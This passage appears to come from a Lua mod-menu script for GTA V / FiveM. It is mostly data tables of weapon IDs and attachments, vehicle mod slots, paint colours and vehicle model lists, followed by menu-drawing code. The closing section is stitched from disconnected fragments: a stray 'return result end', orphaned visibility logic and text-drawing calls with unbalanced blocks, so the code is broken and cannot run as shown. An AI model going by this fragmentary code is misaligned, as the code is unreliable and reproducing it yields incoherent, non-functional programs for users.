}, BullpupRifle = {
id = "weapon_bullpuprifle", name = "Bullpup Rifle", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_BULLPUPRIFLE_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_BULLPUPRIFLE_CLIP_02"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_SMALL"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, BullpupRifleMkII = {
id = "weapon_bullpuprifle_mk2", name = "Bullpup Rifle Mk II",
bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_BULLPUPRIFLE_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_BULLPUPRIFLE_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_BULLPUPRIFLE_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_BULLPUPRIFLE_MK2_CLIP_INCENDIARY"
}, {
name = "Armor Piercing Rounds", id =
"COMPONENT_BULLPUPRIFLE_MK2_CLIP_ARMORPIERCING"
}, {
name = "FMJ Rounds", id =
"COMPONENT_BULLPUPRIFLE_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Small Scope", id =
"COMPONENT_AT_SCOPE_MACRO_02_MK2"
}, {
name = "Medium Scope", id =
"COMPONENT_AT_SCOPE_SMALL_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_BP_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_BP_BARREL_02"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}, {
name = "Flat Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_01"
}, {
name = "Tactical Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_02"
}, {
name = "Fat-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_03"
}, {
name = "Precision Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_04"
}, {
name = "Heavy Duty Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_05"
}, {
name = "Slanted Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_06"
}, {
name = "Split-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_07"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, CompactRifle = {
id = "weapon_compactrifle", name = "Compact Rifle", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_COMPACTRIFLE_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_COMPACTRIFLE_CLIP_02"
}, {
name = "Drum Magazine", id =
"COMPONENT_COMPACTRIFLE_CLIP_03"
}
}
}
}
}, LMG = {
MG = {
id = "weapon_mg", name = "MG", bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id = "COMPONENT_MG_CLIP_01"
}, {
name = "Extended Magazine", id = "COMPONENT_MG_CLIP_02"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_SMALL_02"
}
}
}
}, CombatMG = {
id = "weapon_combatmg", name = "Combat MG", bInfAmmo = false, mods
= {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_COMBATMG_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_COMBATMG_CLIP_02"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_MEDIUM"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, CombatMGMkII = {
id = "weapon_combatmg_mk2", name = "Combat MG Mk II", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_COMBATMG_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_COMBATMG_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_COMBATMG_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_COMBATMG_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_COMBATMG_MK2_CLIP_ARMORPIERCING"
}, {
name = "FMJ Rounds", id =
"COMPONENT_COMBATMG_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Medium Scope", id =
"COMPONENT_AT_SCOPE_SMALL_MK2"
}, {
name = "Large Scope", id =
"COMPONENT_AT_SCOPE_MEDIUM_MK2"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_MG_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_MG_BARREL_02"
}
}, BarrelAttachments = {
{
name = "Flat Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_01"
}, {
name = "Tactical Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_02"
}, {
name = "Fat-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_03"
}, {
name = "Precision Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_04"
}, {
name = "Heavy Duty Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_05"
}, {
name = "Slanted Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_06"
}, {
name = "Split-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_07"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP_02"
}
}
}
}, GusenbergSweeper = {
id = "weapon_gusenberg", name = "GusenbergSweeper", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_GUSENBERG_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_GUSENBERG_CLIP_02"
}
}
}
}
}, Snipers = {
SniperRifle = {
id = "weapon_sniperrifle", name = "Sniper Rifle", bInfAmmo = false,
mods = {
Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_LARGE"
}, {
name = "Advanced Scope", id = "COMPONENT_AT_SCOPE_MAX"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}
}
}
}, HeavySniper = {
id = "weapon_heavysniper", name = "Heavy Sniper", bInfAmmo = false,
mods = {
Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_LARGE"
}, {
name = "Advanced Scope", id = "COMPONENT_AT_SCOPE_MAX"
}
}
}
}, HeavySniperMkII = {
id = "weapon_heavysniper_mk2", name = "Heavy Sniper Mk II",
bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_HEAVYSNIPER_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_HEAVYSNIPER_MK2_CLIP_02"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_HEAVYSNIPER_MK2_CLIP_INCENDIARY"
}, {
name = "Armor Piercing Rounds", id =
"COMPONENT_HEAVYSNIPER_MK2_CLIP_ARMORPIERCING"
}, {
name = "FMJ Rounds", id =
"COMPONENT_HEAVYSNIPER_MK2_CLIP_FMJ"
}, {
name = "Explosive Rounds", id =
"COMPONENT_HEAVYSNIPER_MK2_CLIP_EXPLOSIVE"
}
}, Sights = {
{
name = "Zoom Scope", id =
"COMPONENT_AT_SCOPE_LARGE_MK2"
}, {
name = "Advanced Scope", id = "COMPONENT_AT_SCOPE_MAX"
}, {
name = "Nigt Vision Scope", id =
"COMPONENT_AT_SCOPE_NV"
}, {
name = "Thermal Scope", id =
"COMPONENT_AT_SCOPE_THERMAL"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_SR_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_SR_BARREL_02"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_SR_SUPP_03"
}, {
name = "Squared Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_08"
}, {
name = "Bell-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_09"
}
}
}
}, MarksmanRifle = {
id = "weapon_marksmanrifle", name = "Marksman Rifle", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_MARKSMANRIFLE_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_MARKSMANRIFLE_CLIP_02"
}
}, Sights = {
{
name = "Scope", id =
"COMPONENT_AT_SCOPE_LARGE_FIXED_ZOOM"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, MarksmanRifleMkII = {
id = "weapon_marksmanrifle_mk2", name = "Marksman Rifle Mk II",
bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_MARKSMANRIFLE_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_MARKSMANRIFLE_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_MARKSMANRIFLE_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_MARKSMANRIFLE_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_MARKSMANRIFLE_MK2_CLIP_ARMORPIERCING"
}, {
name = "FMJ Rounds", id =
"COMPONENT_MARKSMANRIFLE_MK2_CLIP_FMJ "
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Large Scope", id =
"COMPONENT_AT_SCOPE_MEDIUM_MK2"
}, {
name = "Zoom Scope", id =
"COMPONENT_AT_SCOPE_LARGE_FIXED_ZOOM_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_MRFL_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_MRFL_BARREL_02"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}, {
name = "Flat Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_01"
}, {
name = "Tactical Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_02"
}, {
name = "Fat-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_03"
}, {
name = "Precision Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_04"
}, {
name = "Heavy Duty Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_05"
}, {
name = "Slanted Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_06"
}, {
name = "Split-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_07"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP_02"
}
}
}
}
}, Heavy = {
RPG = {
id = "weapon_rpg", name = "RPG", bInfAmmo = false, mods = {}
}, GrenadeLauncher = {
id = "weapon_grenadelauncher", name = "Grenade Launcher", bInfAmmo
= false, mods = {}
}, GrenadeLauncherSmoke = {
id = "weapon_grenadelauncher_smoke", name = "Grenade Launcher
Smoke", bInfAmmo = false, mods = {}
}, Minigun = {
id = "weapon_minigun", name = "Minigun", bInfAmmo = false, mods =
{}
}, FireworkLauncher = {
id = "weapon_firework", name = "Firework Launcher", bInfAmmo =
false, mods = {}
}, Railgun = {
id = "weapon_railgun", name = "Railgun", bInfAmmo = false, mods =
{}
}, HomingLauncher = {
id = "weapon_hominglauncher", name = "Homing Launcher", bInfAmmo =
false, mods = {}
}, CompactGrenadeLauncher = {
id = "weapon_compactlauncher", name = "Compact Grenade Launcher",
bInfAmmo = false, mods = {}
}, Widowmaker = {
id = "weapon_rayminigun", name = "Widowmaker", bInfAmmo = false,
mods = {}
}
}, Throwables = {
Grenade = {
id = "weapon_grenade", name = "Grenade", bInfAmmo = false, mods =
{}
}, BZGas = {
id = "weapon_bzgas", name = "BZ Gas", bInfAmmo = false, mods = {}
}, MolotovCocktail = {
id = "weapon_molotov", name = "Molotov Cocktail", bInfAmmo = false,
mods = {}
}, StickyBomb = {
id = "weapon_stickybomb", name = "Sticky Bomb", bInfAmmo = false,
mods = {}
}, ProximityMines = {
id = "weapon_proxmine", name = "Proximity Mines", bInfAmmo = false,
mods = {}
}, Snowballs = {
id = "weapon_snowball", name = "Snowballs", bInfAmmo = false, mods
= {}
}, PipeBombs = {
id = "weapon_pipebomb", name = "Pipe Bombs", bInfAmmo = false, mods
= {}
}, Baseball = {
id = "weapon_ball", name = "Baseball", bInfAmmo = false, mods = {}
}, TearGas = {
id = "weapon_smokegrenade", name = "Tear Gas", bInfAmmo = false,
mods = {}
}, Flare = {
id = "weapon_flare", name = "Flare", bInfAmmo = false, mods = {}
}
}, Misc = {
Parachute = {
id = "gadget_parachute", name = "Parachute", bInfAmmo = false, mods
= {}
}, FireExtinguisher = {
id = "weapon_fireextinguisher", name = "Fire Extinguisher",
bInfAmmo = false, mods = {}
}
}
}
local bd = {
{
name = "Spoilers", id = 0
}, {
name = "Front Bumper", id = 1
}, {
name = "Rear Bumper", id = 2
}, {
name = "Side Skirt", id = 3
}, {
name = "Exhaust", id = 4
}, {
name = "Frame", id = 5
}, {
name = "Grille", id = 6
}, {
name = "Hood", id = 7
}, {
name = "Fender", id = 8
}, {
name = "Right Fender", id = 9
}, {
name = "Roof", id = 10
}, {
name = "Vanity Plates", id = 25
}, {
name = "Trim", id = 27
}, {
name = "Ornaments", id = 28
}, {
name = "Dashboard", id = 29
}, {
name = "Dial", id = 30
}, {
name = "Door Speaker", id = 31
}, {
name = "Seats", id = 32
}, {
name = "Steering Wheel", id = 33
}, {
name = "Shifter Leavers", id = 34
}, {
name = "Plaques", id = 35
}, {
name = "Speakers", id = 36
}, {
name = "Trunk", id = 37
}, {
name = "Hydraulics", id = 38
}, {
name = "Engine Block", id = 39
}, {
name = "Air Filter", id = 40
}, {
name = "Struts", id = 41
}, {
name = "Arch Cover", id = 42
}, {
name = "Aerials", id = 43
}, {
name = "Trim 2", id = 44
}, {
name = "Tank", id = 45
}, {
name = "Windows", id = 46
}, {
name = "Livery", id = 48
}, {
name = "Wheels", id = 23
}, {
name = "Wheel Types", id = "wheeltypes"
}, {
name = "Extras", id = "extra"
}, {
name = "Neons", id = "neon"
}, {
name = "Paint", id = "paint"
}, {
name = "Headlights Color", id = "headlight"
}, {
name = "Licence Plate", id = "licence"
}
}
local be = {
{
name = "Engine", id = 11
}, {
name = "Brakes", id = 12
}, {
name = "Transmission", id = 13
}, {
name = "Suspension", id = 15
}
}
local bo = {
{
name = "Default", id = -1
}, {
name = "White", id = 0
}, {
name = "Blue", id = 1
}, {
name = "Electric Blue", id = 2
}, {
name = "Mint Green", id = 3
}, {
name = "Lime Green", id = 4
}, {
name = "Yellow", id = 5
}, {
name = "Golden Shower", id = 6
}, {
name = "Orange", id = 7
}, {
name = "Red", id = 8
}, {
name = "Pony Pink", id = 9
}, {
name = "Hot Pink", id = 10
}, {
name = "Purple", id = 11
}, {
name = "Blacklight", id = 12
}
}
local colors = {
["White"] = {
255, 255, 255
}, ["Blue"] = {
0, 0, 255
}, ["Electric Blue"] = {
0, 150, 255
}, ["Mint Green"] = {
50, 255, 155
}, ["Lime Green"] = {
0, 255, 0
}, ["Yellow"] = {
255, 255, 0
}, ["Golden Shower"] = {
204, 204, 0
}, ["Orange"] = {
255, 128, 0
}, ["Red"] = {
255, 0, 0
}, ["Pony Pink"] = {
255, 102, 255
}, ["Hot Pink"] = {
255, 0, 255
}, ["Purple"] = {
153, 0, 153
}
}
local bg = {
{
name = "Black", id = 0
}, {
name = "Carbon Black", id = 147
}, {
name = "Graphite", id = 1
}, {
name = "Anhracite Black", id = 11
}, {
name = "Black Steel", id = 2
}, {
name = "Dark Steel", id = 3
}, {
name = "Silver", id = 4
}, {
name = "Bluish Silver", id = 5
}, {
name = "Rolled Steel", id = 6
}, {
name = "Shadow Silver", id = 7
}, {
name = "Stone Silver", id = 8
}, {
name = "Midnight Silver", id = 9
}, {
name = "Cast Iron Silver", id = 10
}, {
name = "Red", id = 27
}, {
name = "Torino Red", id = 28
}, {
name = "Formula Red", id = 29
}, {
name = "Lava Red", id = 150
}, {
name = "Blaze Red", id = 30
}, {
name = "Grace Red", id = 31
}, {
name = "Garnet Red", id = 32
}, {
name = "Sunset Red", id = 33
}, {
name = "Cabernet Red", id = 34
}, {
name = "Wine Red", id = 143
}, {
name = "Candy Red", id = 35
}, {
name = "Hot Pink", id = 135
}, {
name = "Pfsiter Pink", id = 137
}, {
name = "Salmon Pink", id = 136
}, {
name = "Sunrise Orange", id = 36
}, {
name = "Orange", id = 38
}, {
name = "Bright Orange", id = 138
}, {
name = "Gold", id = 99
}, {
name = "Bronze", id = 90
}, {
name = "Yellow", id = 88
}, {
name = "Race Yellow", id = 89
}, {
name = "Dew Yellow", id = 91
}, {
name = "Dark Green", id = 49
}, {
name = "Racing Green", id = 50
}, {
name = "Sea Green", id = 51
}, {
name = "Olive Green", id = 52
}, {
name = "Bright Green", id = 53
}, {
name = "Gasoline Green", id = 54
}, {
name = "Lime Green", id = 92
}, {
name = "Midnight Blue", id = 141
}, {
name = "Galaxy Blue", id = 61
}, {
name = "Dark Blue", id = 62
}, {
name = "Saxon Blue", id = 63
}, {
name = "Blue", id = 64
}, {
name = "Mariner Blue", id = 65
}, {
name = "Harbor Blue", id = 66
}, {
name = "Diamond Blue", id = 67
}, {
name = "Surf Blue", id = 68
}, {
name = "Nautical Blue", id = 69
}, {
name = "Racing Blue", id = 73
}, {
name = "Ultra Blue", id = 70
}, {
name = "Light Blue", id = 74
}, {
name = "Chocolate Brown", id = 96
}, {
name = "Bison Brown", id = 101
}, {
name = "Creeen Brown", id = 95
}, {
name = "Feltzer Brown", id = 94
}, {
name = "Maple Brown", id = 97
}, {
name = "Beechwood Brown", id = 103
}, {
name = "Sienna Brown", id = 104
}, {
name = "Saddle Brown", id = 98
}, {
name = "Moss Brown", id = 100
}, {
name = "Woodbeech Brown", id = 102
}, {
name = "Straw Brown", id = 99
}, {
name = "Sandy Brown", id = 105
}, {
name = "Bleached Brown", id = 106
}, {
name = "Schafter Purple", id = 71
}, {
name = "Spinnaker Purple", id = 72
}, {
name = "Midnight Purple", id = 142
}, {
name = "Bright Purple", id = 145
}, {
name = "Cream", id = 107
}, {
name = "Ice White", id = 111
}, {
name = "Frost White", id = 112
}
}
local bi = {
{
name = "Black", id = 12
}, {
name = "Gray", id = 13
}, {
name = "Light Gray", id = 14
}, {
name = "Ice White", id = 131
}, {
name = "Blue", id = 83
}, {
name = "Dark Blue", id = 82
}, {
name = "Midnight Blue", id = 84
}, {
name = "Midnight Purple", id = 149
}, {
name = "Schafter Purple", id = 148
}, {
name = "Red", id = 39
}, {
name = "Dark Red", id = 40
}, {
name = "Orange", id = 41
}, {
name = "Yellow", id = 42
}, {
name = "Lime Green", id = 55
}, {
name = "Green", id = 128
}, {
name = "Forest Green", id = 151
}, {
name = "Foliage Green", id = 155
}, {
name = "Olive Darb", id = 152
}, {
name = "Dark Earth", id = 153
}, {
name = "Desert Tan", id = 154
}
}
local bj = {
{
name = "Brushed Steel", id = 117
}, {
name = "Brushed Black Steel", id = 118
}, {
name = "Brushed Aluminum", id = 119
}, {
name = "Pure Gold", id = 158
}, {
name = "Brushed Gold", id = 159
}
}
local aA = {
"Dinghy", "Dinghy2", "Dinghy3", "Dingh4", "Jetmax", "Marquis", "Seashark",
"Seashark2", "Seashark3", "Speeder", "Speeder2", "Squalo", "Submersible",
"Submersible2", "Suntrap", "Toro", "Toro2", "Tropic", "Tropic2", "Tug"
}
local aB = {
"Benson", "Biff", "Cerberus", "Cerberus2", "Cerberus3", "Hauler",
"Hauler2", "Mule", "Mule2", "Mule3", "Mule4", "Packer", "Phantom", "Phantom2",
"Phantom3", "Pounder", "Pounder2", "Stockade", "Stockade3", "Terbyte"
}
local aC = {
"Blista", "Blista2", "Blista3", "Brioso", "Dilettante", "Dilettante2",
"Issi2", "Issi3", "issi4", "Iss5", "issi6", "Panto", "Prarire", "Rhapsody"
}
local aD = {
"CogCabrio", "Exemplar", "F620", "Felon", "Felon2", "Jackal", "Oracle",
"Oracle2", "Sentinel", "Sentinel2", "Windsor", "Windsor2", "Zion", "Zion2"
}
local aE = {
"Bmx", "Cruiser", "Fixter", "Scorcher", "Tribike", "Tribike2", "tribike3"
}
local aF = {
"ambulance", "FBI", "FBI2", "FireTruk", "PBus", "police", "Police2",
"Police3", "Police4", "PoliceOld1", "PoliceOld2", "PoliceT", "Policeb", "Polmav",
"Pranger", "Predator", "Riot", "Riot2", "Sheriff", "Sheriff2"
}
local aG = {
"Akula", "Annihilator", "Buzzard", "Buzzard2", "Cargobob", "Cargobob2",
"Cargobob3", "Cargobob4", "Frogger", "Frogger2", "Havok", "Hunter", "Maverick",
"Savage", "Seasparrow", "Skylift", "Supervolito", "Supervolito2", "Swift",
"Swift2", "Valkyrie", "Valkyrie2", "Volatus"
}
local aH = {
"Bulldozer", "Cutter", "Dump", "Flatbed", "Guardian", "Handler", "Mixer",
"Mixer2", "Rubble", "Tiptruck", "Tiptruck2"
}
local aI = {
"APC", "Barracks", "Barracks2", "Barracks3", "Barrage", "Chernobog",
"Crusader", "Halftrack", "Khanjali", "Rhino", "Scarab", "Scarab2", "Scarab3",
"Thruster", "Trailersmall2"
}
local aJ = {
"Akuma", "Avarus", "Bagger", "Bati2", "Bati", "BF400", "Blazer4",
"CarbonRS", "Chimera", "Cliffhanger", "Daemon", "Daemon2", "Defiler", "Deathbike",
"Deathbike2", "Deathbike3", "Diablous", "Diablous2", "Double", "Enduro", "esskey",
"Faggio2", "Faggio3", "Faggio", "Fcr2", "fcr", "gargoyle", "hakuchou2", "hakuchou",
"hexer", "innovation", "Lectro", "Manchez", "Nemesis", "Nightblade", "Oppressor",
"Oppressor2", "PCJ", "Ratbike", "Ruffian", "Sanchez2", "Sanchez", "Sanctus",
"Shotaro", "Sovereign", "Thrust", "Vader", "Vindicator", "Vortex", "Wolfsbane",
"zombiea", "zombieb"
}
local aK = {
"Blade", "Buccaneer", "Buccaneer2", "Chino", "Chino2", "clique", "Deviant",
"Dominator", "Dominator2", "Dominator3", "Dominator4", "Dominator5", "Dominator6",
"Dukes", "Dukes2", "Ellie", "Faction", "faction2", "faction3", "Gauntlet",
"Gauntlet2", "Hermes", "Hotknife", "Hustler", "Impaler", "Impaler2", "Impaler3",
"Impaler4", "Imperator", "Imperator2", "Imperator3", "Lurcher", "Moonbeam",
"Moonbeam2", "Nightshade", "Phoenix", "Picador", "RatLoader", "RatLoader2",
"Ruiner", "Ruiner2", "Ruiner3", "SabreGT", "SabreGT2", "Sadler2", "Slamvan",
"Slamvan2", "Slamvan3", "Slamvan4", "Slamvan5", "Slamvan6", "Stalion", "Stalion2",
"Tampa", "Tampa3", "Tulip", "Vamos,", "Vigero", "Virgo", "Virgo2", "Virgo3",
"Voodoo", "Voodoo2", "Yosemite"
}
local aL = {
"BFinjection", "Bifta", "Blazer", "Blazer2", "Blazer3", "Blazer5", "Bohdi",
"Brawler", "Bruiser", "Bruiser2", "Bruiser3", "Caracara", "DLoader", "Dune",
"Dune2", "Dune3", "Dune4", "Dune5", "Insurgent", "Insurgent2", "Insurgent3",
"Kalahari", "Kamacho", "LGuard", "Marshall", "Mesa", "Mesa2", "Mesa3", "Monster",
"Monster4", "Monster5", "Nightshark", "RancherXL", "RancherXL2", "Rebel", "Rebel2",
"RCBandito", "Riata", "Sandking", "Sandking2", "Technical", "Technical2",
"Technical3", "TrophyTruck", "TrophyTruck2", "Freecrawler", "Menacer"
}
local aM = {
"AlphaZ1", "Avenger", "Avenger2", "Besra", "Blimp", "blimp2", "Blimp3",
"Bombushka", "Cargoplane", "Cuban800", "Dodo", "Duster", "Howard", "Hydra", "Jet",
"Lazer", "Luxor", "Luxor2", "Mammatus", "Microlight", "Miljet", "Mogul", "Molotok",
"Nimbus", "Nokota", "Pyro", "Rogue", "Seabreeze", "Shamal", "Starling", "Stunt",
"Titan", "Tula", "Velum", "Velum2", "Vestra", "Volatol", "Striekforce"
}
local aN = {
"BJXL", "Baller", "Baller2", "Baller3", "Baller4", "Baller5", "Baller6",
"Cavalcade", "Cavalcade2", "Dubsta", "Dubsta2", "Dubsta3", "FQ2", "Granger",
"Gresley", "Habanero", "Huntley", "Landstalker", "patriot", "Patriot2", "Radi",
"Rocoto", "Seminole", "Serrano", "Toros", "XLS", "XLS2"
}
local aO = {
"Asea", "Asea2", "Asterope", "Cog55", "Cogg552", "Cognoscenti",
"Cognoscenti2", "emperor", "emperor2", "emperor3", "Fugitive", "Glendale", "ingot",
"intruder", "limo2", "premier", "primo", "primo2", "regina", "romero", "stafford",
"Stanier", "stratum", "stretch", "surge", "tailgater", "warrener", "Washington"
}
local aP = {
"Airbus", "Brickade", "Bus", "Coach", "Rallytruck", "Rentalbus", "taxi",
"Tourbus", "Trash", "Trash2", "WastIndr", "PBus2"
}
local aQ = {
"Alpha", "Banshee", "Banshee2", "BestiaGTS", "Buffalo", "Buffalo2",
"Buffalo3", "Carbonizzare", "Comet2", "Comet3", "Comet4", "Comet5", "Coquette",
"Deveste", "Elegy", "Elegy2", "Feltzer2", "Feltzer3", "FlashGT", "Furoregt",
"Fusilade", "Futo", "GB200", "Hotring", "Infernus2", "Italigto", "Jester",
"Jester2", "Khamelion", "Kurama", "Kurama2", "Lynx", "MAssacro", "MAssacro2",
"neon", "Ninef", "ninfe2", "omnis", "Pariah", "Penumbra", "Raiden", "RapidGT",
"RapidGT2", "Raptor", "Revolter", "Ruston", "Schafter2", "Schafter3", "Schafter4",
"Schafter5", "Schafter6", "Schlagen", "Schwarzer", "Sentinel3", "Seven70",
"Specter", "Specter2", "Streiter", "Sultan", "Surano", "Tampa2", "Tropos",
"Verlierer2", "ZR380", "ZR3802", "ZR3803"
}
local aR = {
"Ardent", "BType", "BType2", "BType3", "Casco", "Cheetah2", "Cheburek",
"Coquette2", "Coquette3", "Deluxo", "Fagaloa", "Gt500", "JB700", "JEster3",
"MAmba", "Manana", "Michelli", "Monroe", "Peyote", "Pigalle", "RapidGT3",
"Retinue", "Savastra", "Stinger", "Stingergt", "Stromberg", "Swinger", "Torero",
"Tornado", "Tornado2", "Tornado3", "Tornado4", "Tornado5", "Tornado6", "Viseris",
"Z190", "ZType"
}
local aS = {
"Adder", "Autarch", "Bullet", "Cheetah", "Cyclone", "EntityXF", "Entity2",
"FMJ", "GP1", "Infernus", "LE7B", "Nero", "Nero2", "Osiris", "Penetrator",
"PFister811", "Prototipo", "Reaper", "SC1", "Scramjet", "Sheava", "SultanRS",
"Superd", "T20", "Taipan", "Tempesta", "Tezeract", "Turismo2", "Turismor",
"Tyrant", "Tyrus", "Vacca", "Vagner", "Vigilante", "Visione", "Voltic", "Voltic2",
"Zentorno", "Italigtb", "Italigtb2", "XA21"
}
local aT = {
"ArmyTanker", "ArmyTrailer", "ArmyTrailer2", "BaleTrailer", "BoatTrailer",
"CableCar", "DockTrailer", "Graintrailer", "Proptrailer", "Raketailer", "TR2",
"TR3", "TR4", "TRFlat", "TVTrailer", "Tanker", "Tanker2", "Trailerlogs",
"Trailersmall", "Trailers", "Trailers2", "Trailers3"
}
local aU = {
"Freight", "Freightcar", "Freightcont1", "Freightcont2", "Freightgrain",
"Freighttrailer", "TankerCar"
}
local aV = {
"Airtug", "Caddy", "Caddy2", "Caddy3", "Docktug", "Forklift", "Mower",
"Ripley", "Sadler", "Scrap", "TowTruck", "Towtruck2", "Tractor", "Tractor2",
"Tractor3", "TrailerLArge2", "Utilitruck", "Utilitruck3", "Utilitruck2"
}
local aW = {
"Bison", "Bison2", "Bison3", "BobcatXL", "Boxville", "Boxville2",
"Boxville3", "Boxville4", "Boxville5", "Burrito", "Burrito2", "Burrito3",
"Burrito4", "Burrito5", "Camper", "GBurrito", "GBurrito2", "Journey", "Minivan",
"Minivan2", "Paradise", "pony", "Pony2", "Rumpo", "Rumpo2", "Rumpo3", "Speedo",
"Speedo2", "Speedo4", "Surfer", "Surfer2", "Taco", "Youga", "youga2"
}
local aX = {
"Boats", "Commercial", "Compacts", "Coupes", "Cycles", "Emergency",
"Helictopers", "Industrial", "Military", "Motorcycles", "Muscle", "Off-Road",
"Planes", "SUVs", "Sedans", "Service", "Sports", "Sports Classic", "Super",
"Trailer", "Trains", "Utility", "Vans"
}
local aY = {
aA, aB, aC, aD, aE, aF, aG, aH, aI, aJ, aK, aL, aM, aN, aO, aP, aQ, aR, aS,
aT, aU, aV, aW
}
return result
end
if visible then
if id ~= currentMenu and isMenuVisible(currentMenu) then
setMenuVisible(currentMenu, false)
end
currentMenu = id
end
end
end
if shadow then
SetTextDropShadow(2, 2, 0, 0, 0)
end
if menus[currentMenu] then
if center then
SetTextCentre(center)
elseif alignRight then
SetTextWrap(menus[currentMenu].x, menus[currentMenu].x +
menus[currentMenu].width - buttonTextXOffset)
SetTextRightJustify(true)
end
end
Citizen.InvokeNative("0x25FBB336DF1804CB", "STRING")
Citizen.InvokeNative("0x6C188BE134E074AA", text)
Citizen.InvokeNative("0xCD015E5BB0D96A57", x, y)
end
if menus[currentMenu].titleBackgroundSprite then
DrawSprite(menus[currentMenu].titleBackgroundSprite.dict,
